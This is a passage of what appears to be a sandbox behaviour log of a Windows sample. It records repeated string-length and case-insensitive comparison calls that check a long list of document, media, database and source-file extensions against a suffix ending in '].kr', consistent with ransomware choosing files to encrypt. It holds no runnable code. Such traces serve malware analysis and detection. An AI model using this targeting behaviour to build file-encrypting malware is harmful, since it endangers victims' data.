lstrcmpiW (lpString1=".accdw", lpString2="cc].kr") returned -1 [0083.969] lstrlenW (lpString=".adb") returned 4 [0083.969] lstrcmpiW (lpString1=".adb", lpString2="].kr") returned -1 [0083.969] lstrlenW (lpString=".adp") returned 4 [0083.969] lstrcmpiW (lpString1=".adp", lpString2="].kr") returned -1 [0083.969] lstrlenW (lpString=".ai") returned 3 [0083.969] lstrcmpiW (lpString1=".ai", lpString2=".kr") returned -1 [0083.969] lstrlenW (lpString=".ai3") returned 4 [0083.969] lstrcmpiW (lpString1=".ai3", lpString2="].kr") returned -1 [0083.969] lstrlenW (lpString=".ai4") returned 4 [0083.969] lstrcmpiW (lpString1=".ai4", lpString2="].kr") returned -1 [0083.969] lstrlenW (lpString=".ai5") returned 4 [0083.969] lstrcmpiW (lpString1=".ai5", lpString2="].kr") returned -1 [0083.969] lstrlenW (lpString=".ai6") returned 4 [0083.970] lstrcmpiW (lpString1=".ai6", lpString2="].kr") returned -1 [0083.970] lstrlenW (lpString=".ai7") returned 4 [0083.970] lstrcmpiW (lpString1=".ai7", lpString2="].kr") returned -1 [0083.970] lstrlenW (lpString=".ai8") returned 4 [0083.970] lstrcmpiW (lpString1=".ai8", lpString2="].kr") returned -1 [0083.970] lstrlenW (lpString=".anim") returned 5 [0083.970] lstrcmpiW (lpString1=".anim", lpString2="c].kr") returned -1 [0083.970] lstrlenW (lpString=".arw") returned 4 [0083.970] lstrcmpiW (lpString1=".arw", lpString2="].kr") returned -1 [0083.970] lstrlenW (lpString=".as") returned 3 [0083.970] lstrcmpiW (lpString1=".as", lpString2=".kr") returned -1 [0083.970] lstrlenW (lpString=".asa") returned 4 [0083.970] lstrcmpiW (lpString1=".asa", lpString2="].kr") returned -1 [0083.970] lstrlenW (lpString=".asc") returned 4 [0083.970] lstrcmpiW (lpString1=".asc", lpString2="].kr") returned -1 [0083.970] lstrlenW (lpString=".ascx") returned 5 [0083.970] lstrcmpiW (lpString1=".ascx", lpString2="c].kr") returned -1 [0083.970] lstrlenW (lpString=".asm") returned 4 [0083.970] lstrcmpiW (lpString1=".asm", lpString2="].kr") returned -1 [0083.970] lstrlenW (lpString=".asmx") returned 5 [0083.970] lstrcmpiW (lpString1=".asmx", lpString2="c].kr") returned -1 [0083.970] lstrlenW (lpString=".asp") returned 4 [0083.970] lstrcmpiW (lpString1=".asp", lpString2="].kr") returned -1 [0083.970] lstrlenW (lpString=".aspx") returned 5 [0083.970] lstrcmpiW (lpString1=".aspx", lpString2="c].kr") returned -1 [0083.970] lstrlenW (lpString=".asr") returned 4 [0083.970] lstrcmpiW (lpString1=".asr", lpString2="].kr") returned -1 [0083.971] lstrlenW (lpString=".asx") returned 4 [0083.971] lstrcmpiW (lpString1=".asx", lpString2="].kr") returned -1 [0083.971] lstrlenW (lpString=".avi") returned 4 [0083.971] lstrcmpiW (lpString1=".avi", lpString2="].kr") returned -1 [0083.971] lstrlenW (lpString=".avs") returned 4 [0083.971] lstrcmpiW (lpString1=".avs", lpString2="].kr") returned -1 [0083.971] lstrlenW (lpString=".backup") returned 7 [0083.971] lstrcmpiW (lpString1=".backup", lpString2=".cc].kr") returned -1 [0083.971] lstrlenW (lpString=".bak") returned 4 [0083.971] lstrcmpiW (lpString1=".bak", lpString2="].kr") returned -1 [0083.971] lstrlenW (lpString=".bay") returned 4 [0083.971] lstrcmpiW (lpString1=".bay", lpString2="].kr") returned -1 [0083.971] lstrlenW (lpString=".bd") returned 3 [0083.971] lstrcmpiW (lpString1=".bd", lpString2=".kr") returned -1 [0083.971] lstrlenW (lpString=".bin") returned 4 [0083.971] lstrcmpiW (lpString1=".bin", lpString2="].kr") returned -1 [0083.971] lstrlenW (lpString=".bmp") returned 4 [0083.971] lstrcmpiW (lpString1=".bmp", lpString2="].kr") returned -1 [0083.971] lstrlenW (lpString=".bz2") returned 4 [0083.971] lstrcmpiW (lpString1=".bz2", lpString2="].kr") returned -1 [0083.971] lstrlenW (lpString=".c") returned 2 [0083.971] lstrcmpiW (lpString1=".c", lpString2="kr") returned -1 [0083.971] lstrlenW (lpString=".cdr") returned 4 [0083.971] lstrcmpiW (lpString1=".cdr", lpString2="].kr") returned -1 [0083.971] lstrlenW (lpString=".cer") returned 4 [0083.971] lstrcmpiW (lpString1=".cer", lpString2="].kr") returned -1 [0083.971] lstrlenW (lpString=".cf") returned 3 [0083.972] lstrcmpiW (lpString1=".cf", lpString2=".kr") returned -1 [0083.972] lstrlenW (lpString=".cfc") returned 4 [0083.972] lstrcmpiW (lpString1=".cfc", lpString2="].kr") returned -1 [0083.972] lstrlenW (lpString=".cfm") returned 4 [0083.972] lstrcmpiW (lpString1=".cfm", lpString2="].kr") returned -1 [0083.972] lstrlenW (lpString=".cfml") returned 5 [0083.972] lstrcmpiW (lpString1=".cfml", lpString2="c].kr") returned -1 [0083.972] lstrlenW (lpString=".cfu") returned 4 [0083.972] lstrcmpiW (lpString1=".cfu", lpString2="].kr") returned -1 [0083.972] lstrlenW (lpString=".chm") returned 4 [0083.972] lstrcmpiW (lpString1=".chm", lpString2="].kr") returned -1 [0083.972] lstrlenW (lpString=".cin") returned 4 [0083.972] lstrcmpiW (lpString1=".cin", lpString2="].kr") returned -1 [0083.972] lstrlenW (lpString=".class") returned 6 [0083.972] lstrcmpiW (lpString1=".class", lpString2="cc].kr") returned -1 [0083.972] lstrlenW (lpString=".clx") returned 4 [0083.972] lstrcmpiW (lpString1=".clx", lpString2="].kr") returned -1 [0083.972] lstrlenW (lpString=".config") returned 7 [0083.972] lstrcmpiW (lpString1=".config", lpString2=".cc].kr") returned 1 [0083.972] lstrlenW (lpString=".cpp") returned 4 [0083.972] lstrcmpiW (lpString1=".cpp", lpString2="].kr") returned -1 [0083.972] lstrlenW (lpString=".cr2") returned 4 [0083.972] lstrcmpiW (lpString1=".cr2", lpString2="].kr") returned -1 [0083.973] lstrlenW (lpString=".crt") returned 4 [0083.973] lstrcmpiW (lpString1=".crt", lpString2="].kr") returned -1 [0083.973] lstrlenW (lpString=".crw") returned 4 [0083.973] lstrcmpiW (lpString1=".crw", lpString2="].kr") returned -1 [0083.973] lstrlenW (lpString=".cs") returned 3 [0083.973] lstrcmpiW (lpString1=".cs", lpString2=".kr") returned -1 [0083.973] lstrlenW (lpString=".css") returned 4 [0083.973] lstrcmpiW (lpString1=".css", lpString2="].kr") returned -1 [0083.973] lstrlenW (lpString=".csv") returned 4 [0083.973] lstrcmpiW (lpString1=".csv", lpString2="].kr") returned -1 [0083.973] lstrlenW (lpString=".cub") returned 4 [0083.973] lstrcmpiW (lpString1=".cub", lpString2="].kr") returned -1 [0083.973] lstrlenW (lpString=".dae") returned 4 [0083.973] lstrcmpiW (lpString1=".dae", lpString2="].kr") returned -1 [0083.973] lstrlenW (lpString=".dat") returned 4 [0083.973] lstrcmpiW (lpString1=".dat", lpString2="].kr") returned -1 [0083.973] lstrlenW (lpString=".db") returned 3 [0083.973] lstrcmpiW (lpString1=".db", lpString2=".kr") returned -1 [0083.974] lstrlenW (lpString=".dbf") returned 4 [0083.974] lstrcmpiW (lpString1=".dbf", lpString2="].kr") returned -1 [0083.974] lstrlenW (lpString=".dbx") returned 4 [0083.974] lstrcmpiW (lpString1=".dbx", lpString2="].kr") returned -1 [0083.974] lstrlenW (lpString=".dc3") returned 4 [0083.974] lstrcmpiW (lpString1=".dc3", lpString2="].kr") returned -1 [0083.974] lstrlenW (lpString=".dcm") returned 4 [0083.974] lstrcmpiW (lpString1=".dcm", lpString2="].kr") returned -1 [0083.974] lstrlenW (lpString=".dcr") returned 4 [0083.974] lstrcmpiW (lpString1=".dcr", lpString2="].kr") returned -1 [0083.974] lstrlenW (lpString=".der") returned 4 [0083.974] lstrcmpiW (lpString1=".der", lpString2="].kr") returned -1 [0083.974] lstrlenW (lpString=".dib") returned 4 [0083.974] lstrcmpiW (lpString1=".dib", lpString2="].kr") returned -1 [0083.974] lstrlenW (lpString=".dic") returned 4 [0083.974] lstrcmpiW (lpString1=".dic", lpString2="].kr") returned -1 [0083.974] lstrlenW (lpString=".dif") returned 4 [0083.974] lstrcmpiW (lpString1=".dif", lpString2="].kr") returned -1 [0083.974] lstrlenW (lpString=".divx") returned 5 [0083.974] lstrcmpiW (lpString1=".divx", lpString2="c].kr") returned -1 [0083.974] lstrlenW (lpString=".djvu") returned 5 [0083.974] lstrcmpiW (lpString1=".djvu", lpString2="c].kr") returned -1 [0083.974] lstrlenW (lpString=".dng") returned 4 [0083.974] lstrcmpiW (lpString1=".dng", lpString2="].kr") returned -1 [0083.974] lstrlenW (lpString=".doc") returned 4 [0083.974] lstrcmpiW (lpString1=".doc", lpString2="].kr") returned -1 [0083.974] lstrlenW (lpString=".docm") returned 5 [0083.975] lstrcmpiW (lpString1=".docm", lpString2="c].kr") returned -1 [0083.975] lstrlenW (lpString=".docx") returned 5 [0083.975] lstrcmpiW (lpString1=".docx", lpString2="c].kr") returned -1 [0083.975] lstrlenW (lpString=".dot") returned 4 [0083.975] lstrcmpiW (lpString1=".dot", lpString2="].kr") returned -1 [0083.975] lstrlenW (lpString=".dotm") returned 5 [0083.975] lstrcmpiW (lpString1=".dotm", lpString2="c].kr") returned -1 [0083.975] lstrlenW (lpString=".dotx") returned 5 [0083.975] lstrcmpiW (lpString1=".dotx", lpString2="c].kr") returned -1 [0083.975] lstrlenW (lpString=".dpx") returned 4 [0083.975] lstrcmpiW (lpString1=".dpx", lpString2="].kr") returned -1 [0083.975] lstrlenW (lpString=".dqy") returned 4 [0083.975] lstrcmpiW (lpString1=".dqy", lpString2="].kr") returned -1 [0083.975] lstrlenW (lpString=".dsn") returned 4 [0083.975] lstrcmpiW (lpString1=".dsn", lpString2="].kr") returned -1 [0083.975] lstrlenW (lpString=".dt") returned 3 [0083.975] lstrcmpiW (lpString1=".dt", lpString2=".kr") returned -1 [0083.975] lstrlenW (lpString=".dtd") returned 4 [0083.975] lstrcmpiW (lpString1=".dtd", lpString2="].kr") returned -1 [0083.975] lstrlenW (lpString=".dwg") returned 4 [0083.975] lstrcmpiW (lpString1=".dwg", lpString2="].kr") returned -1 [0083.975] lstrlenW (lpString=".dwt") returned 4 [0083.975] lstrcmpiW (lpString1=".dwt", lpString2="].kr") returned -1 [0083.975] lstrlenW (lpString=".dx") returned 3 [0083.975] lstrcmpiW (lpString1=".dx", lpString2=".kr") returned -1 [0083.975] lstrlenW (lpString=".dxf") returned 4 [0083.975] lstrcmpiW (lpString1=".dxf", lpString2="].kr") returned -1 [0083.975] lstrlenW (lpString=".edml") returned 5 [0083.976] lstrcmpiW (lpString1=".edml", lpString2="c].kr") returned -1 [0083.976] lstrlenW (lpString=".efd") returned 4 [0083.976] lstrcmpiW (lpString1=".efd", lpString2="].kr") returned -1 [0083.976] lstrlenW (lpString=".elf") returned 4 [0083.976] lstrcmpiW (lpString1=".elf", lpString2="].kr") returned -1 [0083.976] lstrlenW (lpString=".emf") returned 4 [0083.976] lstrcmpiW (lpString1=".emf", lpString2="].kr") returned -1 [0083.976] lstrlenW (lpString=".emz") returned 4 [0083.976] lstrcmpiW (lpString1=".emz", lpString2="].kr") returned -1 [0083.976] lstrlenW (lpString=".epf") returned 4 [0083.976] lstrcmpiW (lpString1=".epf", lpString2="].kr") returned -1 [0083.976] lstrlenW (lpString=".eps") returned 4 [0083.976] lstrcmpiW (lpString1=".eps", lpString2="].kr") returned -1 [0083.976] lstrlenW (lpString=".epsf") returned 5 [0083.976] lstrcmpiW (lpString1=".epsf", lpString2="c].kr") returned -1 [0083.976] lstrlenW (lpString=".epsp") returned 5 [0083.976] lstrcmpiW (lpString1=".epsp", lpString2="c].kr") returned -1 [0083.976] lstrlenW (lpString=".erf") returned 4 [0083.976] lstrcmpiW (lpString1=".erf", lpString2="].kr") returned -1 [0083.976] lstrlenW (lpString=".exr") returned 4 [0083.976] lstrcmpiW (lpString1=".exr", lpString2="].kr") returned -1 [0083.976] lstrlenW (lpString=".f4v") returned 4 [0083.976] lstrcmpiW (lpString1=".f4v", lpString2="].kr") returned -1 [0083.976] lstrlenW (lpString=".fido") returned 5 [0083.976] lstrcmpiW (lpString1=".fido", lpString2="c].kr") returned -1 [0083.976] lstrlenW (lpString=".flm") returned 4 [0083.976] lstrcmpiW (lpString1=".flm", lpString2="].kr") returned -1 [0083.977] lstrlenW (lpString=".flv") returned 4 [0083.977] lstrcmpiW (lpString1=".flv", lpString2="].kr") returned -1 [0083.977] lstrlenW (lpString=".frm") returned 4 [0083.977] lstrcmpiW (lpString1=".frm", lpString2="].kr") returned -1 [0083.977] lstrlenW (lpString=".fxg") returned 4 [0083.977] lstrcmpiW (lpString1=".fxg", lpString2="].kr") returned -1 [0083.977] lstrlenW (lpString=".geo") returned 4 [0083.977] lstrcmpiW (lpString1=".geo", lpString2="].kr") returned -1 [0083.977] lstrlenW (lpString=".gif") returned 4 [0083.977] lstrcmpiW (lpString1=".gif", lpString2="].kr") returned -1 [0083.977] lstrlenW (lpString=".grs") returned 4 [0083.977] lstrcmpiW (lpString1=".grs", lpString2="].kr") returned -1 [0083.977] lstrlenW (lpString=".gz") returned 3 [0083.977] lstrcmpiW (lpString1=".gz", lpString2=".kr") returned -1 [0083.977] lstrlenW (lpString=".h") returned 2 [0083.977] lstrcmpiW (lpString1=".h", lpString2="kr") returned -1 [0083.977] lstrlenW (lpString=".hdr") returned 4 [0083.977] lstrcmpiW (lpString1=".hdr", lpString2="].kr") returned -1 [0083.977] lstrlenW (lpString=".hpp") returned 4 [0083.977] lstrcmpiW (lpString1=".hpp", lpString2="].kr") returned -1 [0083.977] lstrlenW (lpString=".hta") returned 4 [0083.977] lstrcmpiW (lpString1=".hta", lpString2="].kr") returned -1 [0083.977] lstrlenW (lpString=".htc") returned 4 [0083.977] lstrcmpiW (lpString1=".htc", lpString2="].kr") returned -1 [0083.977] lstrlenW (lpString=".htm") returned 4 [0083.977] lstrcmpiW (lpString1=".htm", lpString2="].kr") returned -1 [0083.977] lstrlenW (lpString=".html") returned 5 [0083.978] lstrcmpiW (lpString1=".html", lpString2="c].kr") returned -1 [0083.978] lstrlenW (lpString=".icb") returned 4 [0083.978] lstrcmpiW (lpString1=".icb", lpString2="].kr") returned -1 [0083.978] lstrlenW (lpString=".ics") returned 4 [0083.978] lstrcmpiW (lpString1=".ics", lpString2="].kr") returned -1 [0083.978] lstrlenW (lpString=".iff") returned 4 [0083.978] lstrcmpiW (lpString1=".iff", lpString2="].kr") returned -1 [0083.978] lstrlenW (lpString=".inc") returned 4 [0083.978] lstrcmpiW (lpString1=".inc", lpString2="].kr") returned -1 [0083.978] lstrlenW (lpString=".indd") returned 5 [0083.978] lstrcmpiW (lpString1=".indd", lpString2="c].kr") returned -1 [0083.978] lstrlenW (lpString=".ini") returned 4 [0083.978] lstrcmpiW (lpString1=".ini", lpString2="].kr") returned -1 [0083.978] lstrlenW (lpString=".iqy") returned 4 [0083.978] lstrcmpiW (lpString1=".iqy", lpString2="].kr") returned -1 [0083.978] lstrlenW (lpString=".j2c") returned 4 [0083.978] lstrcmpiW (lpString1=".j2c", lpString2="].kr") returned -1 [0083.978] lstrlenW (lpString=".j2k") returned 4 [0083.978] lstrcmpiW (lpString1=".j2k", lpString2="].kr") returned -1 [0083.978] lstrlenW (lpString=".java") returned 5 [0083.978] lstrcmpiW (lpString1=".java", lpString2="c].kr") returned -1 [0083.978] lstrlenW (lpString=".jp2") returned 4 [0083.978] lstrcmpiW (lpString1=".jp2", lpString2="].kr") returned -1 [0083.978] lstrlenW (lpString=".jpc") returned 4 [0083.978] lstrcmpiW (lpString1=".jpc", lpString2="].kr") returned -1 [0083.978] lstrlenW (lpString=".jpe") returned 4 [0083.978] lstrcmpiW (lpString1=".jpe", lpString2="].kr") returned -1 [0083.978] lstrlenW (lpString=".jpeg") returned 5 [0083.979] lstrcmpiW (lpString1=".jpeg", lpString2="c].kr") returned -1 [0083.979] lstrlenW (lpString=".jpf") returned 4 [0083.979] lstrcmpiW (lpString1=".jpf", lpString2="].kr") returned -1 [0083.979] lstrlenW (lpString=".jpg") returned 4 [0083.979] lstrcmpiW (lpString1=".jpg", lpString2="].kr") returned -1 [0083.979] lstrlenW (lpString=".jpx") returned 4 [0083.979] lstrcmpiW (lpString1=".jpx", lpString2="].kr") returned -1 [0083.979] lstrlenW (lpString=".js") returned 3 [0083.979] lstrcmpiW (lpString1=".js", lpString2=".kr") returned -1 [0083.979] lstrlenW (lpString=".jsf") returned 4 [0083.979] lstrcmpiW (lpString1=".jsf", lpString2="].kr") returned -1 [0083.979] lstrlenW (lpString=".json") returned 5 [0083.979] lstrcmpiW (lpString1=".json", lpString2="c].kr") returned -1 [0083.979] lstrlenW (lpString=".jsp") returned 4 [0083.979] lstrcmpiW (lpString1=".jsp", lpString2="].kr") returned -1 [0083.979] lstrlenW (lpString=".kdc") returned 4 [0083.979] lstrcmpiW (lpString1=".kdc", lpString2="].kr") returned -1 [0083.979] lstrlenW (lpString=".kmz") returned 4 [0083.979] lstrcmpiW (lpString1=".kmz", lpString2="].kr") returned -1 [0083.979] lstrlenW (lpString=".kwm") returned 4 [0083.979] lstrcmpiW (lpString1=".kwm", lpString2="].kr") returned -1 [0083.979] lstrlenW (lpString=".lasso") returned 6 [0083.979] lstrcmpiW (lpString1=".lasso", lpString2="cc].kr") returned -1 [0083.979] lstrlenW (lpString=".lbi") returned 4 [0083.979] lstrcmpiW (lpString1=".lbi", lpString2="].kr") returned -1 [0083.979] lstrlenW (lpString=".lgf") returned 4 [0083.979] lstrcmpiW (lpString1=".lgf", lpString2="].kr") returned -1 [0083.980] lstrlenW (lpString=".lgp") returned 4 [0083.980] lstrcmpiW (lpString1=".lgp", lpString2="].kr") returned -1 [0083.980] lstrlenW (lpString=".log") returned 4 [0083.980] lstrcmpiW (lpString1=".log", lpString2="].kr") returned -1 [0083.980] lstrlenW (lpString=".m1v") returned 4 [0083.980] lstrcmpiW (lpString1=".m1v", lpString2="].kr") returned -1 [0083.980] lstrlenW (lpString=".m4a") returned 4 [0083.980] lstrcmpiW (lpString1=".m4a", lpString2="].kr") returned -1 [0083.980] lstrlenW (lpString=".m4v") returned 4 [0083.980] lstrcmpiW (lpString1=".m4v", lpString2="].kr") returned -1 [0083.980] lstrlenW (lpString=".max") returned 4 [0083.980] lstrcmpiW (lpString1=".max", lpString2="].kr") returned -1 [0083.980] lstrlenW (lpString=".md") returned 3 [0083.980] lstrcmpiW (lpString1=".md", lpString2=".kr") returned 1 [0083.980] lstrlenW (lpString=".mda") returned 4 [0083.980] lstrcmpiW (lpString1=".mda", lpString2="].kr") returned -1 [0083.980] lstrlenW (lpString=".mdb") returned 4 [0083.980] lstrcmpiW (lpString1=".mdb", lpString2="].kr") returned -1 [0083.980] lstrlenW (lpString=".mde") returned 4 [0083.980] lstrcmpiW (lpString1=".mde", lpString2="].kr") returned -1 [0083.980] lstrlenW (lpString=".mdf") returned 4 [0083.980] lstrcmpiW (lpString1=".mdf", lpString2="].kr") returned -1 [0083.980] lstrlenW (lpString=".mdw") returned 4 [0083.980] lstrcmpiW (lpString1=".mdw", lpString2="].kr") returned -1 [0083.980] lstrlenW (lpString=".mef") returned 4 [0083.980] lstrcmpiW (lpString1=".mef", lpString2="].kr") returned -1 [0083.980] lstrlenW (lpString=".mft") returned 4 [0083.981] lstrcmpiW (lpString1=".mft", lpString2="].kr") returned -1 [0083.981] lstrlenW (lpString=".mfw") returned 4 [0083.981] lstrcmpiW (lpString1=".mfw", lpString2="].kr") returned -1 [0083.981] lstrlenW (lpString=".mht") returned 4 [0083.981] lstrcmpiW (lpString1=".mht", lpString2="].kr") returned -1 [0083.981] lstrlenW (lpString=".mhtml") returned 6 [0083.981] lstrcmpiW (lpString1=".mhtml", lpString2="cc].kr") returned -1 [0083.981] lstrlenW (lpString=".mka") returned 4 [0083.981] lstrcmpiW (lpString1=".mka", lpString2="].kr") returned -1 [0083.981] lstrlenW (lpString=".mkidx") returned 6 [0083.981] lstrcmpiW (lpString1=".mkidx", lpString2="cc].kr") returned -1 [0083.981] lstrlenW (lpString=".mkv") returned 4 [0083.981] lstrcmpiW (lpString1=".mkv", lpString2="].kr") returned -1 [0083.981] lstrlenW (lpString=".mos") returned 4 [0083.981] lstrcmpiW (lpString1=".mos", lpString2="].kr") returned -1 [0083.981] lstrlenW (lpString=".mov") returned 4 [0083.981] lstrcmpiW (lpString1=".mov", lpString2="].kr") returned -1 [0083.981] lstrlenW (lpString=".mp3") returned 4 [0083.981] lstrcmpiW (lpString1=".mp3", lpString2="].kr") returned -1 [0083.981] lstrlenW (lpString=".mp4") returned 4 [0083.981] lstrcmpiW (lpString1=".mp4", lpString2="].kr") returned -1 [0083.981] lstrlenW (lpString=".mpeg") returned 5 [0083.981] lstrcmpiW (lpString1=".mpeg", lpString2="c].kr") returned -1 [0083.981] lstrlenW (lpString=".mpg") returned 4 [0083.981] lstrcmpiW (lpString1=".mpg", lpString2="].kr") returned -1 [0083.981] lstrlenW (lpString=".mpv") returned 4 [0083.981] lstrcmpiW (lpString1=".mpv", lpString2="].kr") returned -1 [0083.981] lstrlenW (lpString=".mrw") returned 4 [0083.982] lstrcmpiW (lpString1=".mrw", lpString2="].kr") returned -1 [0083.982] lstrlenW (lpString=".msg") returned 4 [0083.982] lstrcmpiW (lpString1=".msg", lpString2="].kr") returned -1 [0083.982] lstrlenW (lpString=".mxl") returned 4 [0083.982] lstrcmpiW (lpString1=".mxl", lpString2="].kr") returned -1 [0083.982] lstrlenW (lpString=".myd") returned 4 [0083.982] lstrcmpiW (lpString1=".myd", lpString2="].kr") returned -1 [0083.982] lstrlenW (lpString=".myi") returned 4 [0083.982] lstrcmpiW (lpString1=".myi", lpString2="].kr") returned -1 [0083.982] lstrlenW (lpString=".nef") returned 4 [0083.982] lstrcmpiW (lpString1=".nef", lpString2="].kr") returned -1 [0083.982] lstrlenW (lpString=".nrw") returned 4 [0083.982] lstrcmpiW (lpString1=".nrw", lpString2="].kr") returned -1 [0083.982] lstrlenW (lpString=".obj") returned 4 [0083.982] lstrcmpiW (lpString1=".obj", lpString2="].kr") returned -1 [0083.982] lstrlenW (lpString=".odb") returned 4 [0083.982] lstrcmpiW (lpString1=".odb", lpString2="].kr") returned -1 [0083.982] lstrlenW (lpString=".odc") returned 4 [0083.982] lstrcmpiW (lpString1=".odc", lpString2="].kr") returned -1 [0083.982] lstrlenW (lpString=".odm") returned 4 [0083.982] lstrcmpiW (lpString1=".odm", lpString2="].kr") returned -1 [0083.982] lstrlenW (lpString=".odp") returned 4 [0083.982] lstrcmpiW (lpString1=".odp", lpString2="].kr") returned -1 [0083.982] lstrlenW (lpString=".ods") returned 4 [0083.982] lstrcmpiW (lpString1=".ods", lpString2="].kr") returned -1 [0083.982] lstrlenW (lpString=".oft") returned 4 [0083.983] lstrcmpiW (lpString1=".oft", lpString2="].kr") returned -1 [0083.983] lstrlenW (lpString=".one") returned 4 [0083.983] lstrcmpiW (lpString1=".one", lpString2="].kr") returned -1 [0083.983] lstrlenW (lpString=".onepkg") returned 7 [0083.983] lstrcmpiW (lpString1=".onepkg", lpString2=".cc].kr") returned 1 [0083.983] lstrlenW (lpString=".onetoc2") returned 8 [0083.983] lstrcmpiW (lpString1=".onetoc2", lpString2="l.cc].kr") returned -1 [0083.983] lstrlenW (lpString=".opt") returned 4 [0083.983] lstrcmpiW (lpString1=".opt", lpString2="].kr") returned -1 [0083.983] lstrlenW (lpString=".oqy") returned 4 [0083.983] lstrcmpiW (lpString1=".oqy", lpString2="].kr") returned -1 [0083.983] lstrlenW (lpString=".orf") returned 4 [0083.983] lstrcmpiW (lpString1=".orf", lpString2="].kr") returned -1 [0083.983] lstrlenW (lpString=".p12") returned 4 [0083.983] lstrcmpiW (lpString1=".p12", lpString2="].kr") returned -1 [0083.983] lstrlenW (lpString=".p7b") returned 4 [0083.983] lstrcmpiW (lpString1=".p7b", lpString2="].kr") returned -1 [0083.983] lstrlenW (lpString=".p7c") returned 4 [0083.983] lstrcmpiW (lpString1=".p7c", lpString2="].kr") returned -1 [0083.983] lstrlenW (lpString=".pam") returned 4 [0083.983] lstrcmpiW (lpString1=".pam", lpString2="].kr") returned -1 [0083.983] lstrlenW (lpString=".pbm") returned 4 [0083.983] lstrcmpiW (lpString1=".pbm", lpString2="].kr") returned -1 [0083.983] lstrlenW (lpString=".pct") returned 4 [0083.983] lstrcmpiW (lpString1=".pct", lpString2="].kr") returned -1 [0083.983] lstrlenW (lpString=".pcx") returned 4 [0083.983] lstrcmpiW (lpString1=".pcx", lpString2="].kr") returned -1 [0083.984] lstrlenW (lpString=".pdd") returned 4 [0083.984] lstrcmpiW (lpString1=".pdd", lpString2="].kr") returned -1 [0083.984] lstrlenW (lpString=".pdf") returned 4 [0083.984] lstrcmpiW (lpString1=".pdf", lpString2="].kr") returned -1 [0083.984] lstrlenW (lpString=".pdp") returned 4 [0083.984] lstrcmpiW (lpString1=".pdp", lpString2="].kr") returned -1 [0083.984] lstrlenW (lpString=".pef") returned 4 [0083.984] lstrcmpiW (lpString1=".pef", lpString2="].kr") returned -1 [0083.984] lstrlenW (lpString=".pem") returned 4 [0083.984] lstrcmpiW (lpString1=".pem", lpString2="].kr") returned -1 [0083.984] lstrlenW (lpString=".pff") returned 4 [0083.984] lstrcmpiW (lpString1=".pff", lpString2="].kr") returned -1 [0083.984] lstrlenW (lpString=".pfm") returned 4 [0083.984] lstrcmpiW (lpString1=".pfm", lpString2="].kr") returned -1 [0083.984] lstrlenW (lpString=".pfx") returned 4 [0083.984] lstrcmpiW (lpString1=".pfx", lpString2="].kr") returned -1 [0083.984] lstrlenW (lpString=".pgm") returned 4 [0083.984] lstrcmpiW (lpString1=".pgm", lpString2="].kr") returned -1 [0083.984] lstrlenW (lpString=".php") returned 4 [0083.984] lstrcmpiW (lpString1=".php", lpString2="].kr") returned -1 [0083.984] lstrlenW (lpString=".php3") returned 5 [0083.984] lstrcmpiW (lpString1=".php3", lpString2="c].kr") returned -1 [0083.984] lstrlenW (lpString=".php4") returned 5 [0083.984] lstrcmpiW (lpString1=".php4", lpString2="c].kr") returned -1 [0083.984] lstrlenW (lpString=".php5") returned 5 [0083.984] lstrcmpiW (lpString1=".php5", lpString2="c].kr") returned -1 [0083.985] lstrlenW (lpString=".phtml") returned 6 [0083.985] lstrcmpiW (lpString1=".phtml", lpString2="cc].kr") returned -1 [0083.985] lstrlenW (lpString=".pict") returned 5 [0083.985] lstrcmpiW (lpString1=".pict", lpString2="c].kr") returned -1 [0083.985] lstrlenW (lpString=".pl") returned 3 [0083.985] lstrcmpiW (lpString1=".pl", lpString2=".kr") returned 1 [0083.985] lstrlenW (lpString=".pls") returned 4 [0083.985] lstrcmpiW (lpString1=".pls", lpString2="].kr") returned -1 [0083.985] lstrlenW (lpString=".pm") returned 3 [0083.985] lstrcmpiW (lpString1=".pm", lpString2=".kr") returned 1 [0083.985] lstrlenW (lpString=".png") returned 4 [0083.985] lstrcmpiW (lpString1=".png", lpString2="].kr") returned -1 [0083.985] lstrlenW (lpString=".pnm") returned 4 [0083.985] lstrcmpiW (lpString1=".pnm", lpString2="].kr") returned -1 [0083.985] lstrlenW (lpString=".pot") returned 4 [0083.985] lstrcmpiW (lpString1=".pot", lpString2="].kr") returned -1 [0083.985] lstrlenW (lpString=".potm") returned 5 [0083.985] lstrcmpiW (lpString1=".potm", lpString2="c].kr") returned -1 [0083.985] lstrlenW (lpString=".potx") returned 5 [0083.985] lstrcmpiW (lpString1=".potx", lpString2="c].kr") returned -1 [0083.985] lstrlenW (lpString=".ppa") returned 4 [0083.985] lstrcmpiW (lpString1=".ppa", lpString2="].kr") returned -1 [0083.985] lstrlenW (lpString=".ppam") returned 5 [0083.985] lstrcmpiW (lpString1=".ppam", lpString2="c].kr") returned -1 [0083.985] lstrlenW (lpString=".ppm") returned 4 [0083.985] lstrcmpiW (lpString1=".ppm", lpString2="].kr") returned -1 [0083.986] lstrlenW (lpString=".pps") returned 4 [0083.986] lstrcmpiW (lpString1=".pps", lpString2="].kr") returned -1 [0083.986] lstrlenW (lpString=".ppsm") returned 5 [0083.986] lstrcmpiW (lpString1=".ppsm", lpString2="c].kr") returned -1 [0083.986] lstrlenW (lpString=".ppt") returned 4 [0083.986] lstrcmpiW (lpString1=".ppt", lpString2="].kr") returned -1 [0083.986] lstrlenW (lpString=".pptm") returned 5 [0083.986] lstrcmpiW (lpString1=".pptm", lpString2="c].kr") returned -1 [0083.986] lstrlenW (lpString=".pptx") returned 5 [0083.986] lstrcmpiW (lpString1=".pptx", lpString2="c].kr") returned -1 [0083.986] lstrlenW (lpString=".prn") returned 4 [0083.986] lstrcmpiW (lpString1=".prn", lpString2="].kr") returned -1 [0083.986] lstrlenW (lpString=".ps") returned 3 [0083.986] lstrcmpiW (lpString1=".ps", lpString2=".kr") returned 1 [0083.986] lstrlenW (lpString=".psb") returned 4 [0083.986] lstrcmpiW (lpString1=".psb", lpString2="].kr") returned -1 [0083.986] lstrlenW (lpString=".psd") returned 4 [0083.986] lstrcmpiW (lpString1=".psd", lpString2="].kr") returned -1 [0083.986] lstrlenW (lpString=".pst") returned 4 [0083.986] lstrcmpiW (lpString1=".pst", lpString2="].kr") returned -1 [0083.986] lstrlenW (lpString=".ptx") returned 4 [0083.986] lstrcmpiW (lpString1=".ptx", lpString2="].kr") returned -1 [0083.986] lstrlenW (lpString=".pub") returned 4 [0083.986] lstrcmpiW (lpString1=".pub", lpString2="].kr") returned -1 [0083.986] lstrlenW (lpString=".pwm") returned 4 [0083.987] lstrcmpiW (lpString1=".pwm", lpString2="].kr") returned -1 [0083.987] lstrlenW (lpString=".pxr") returned 4 [0083.987] lstrcmpiW (lpString1=".pxr", lpString2="].kr") returned -1 [0083.987] 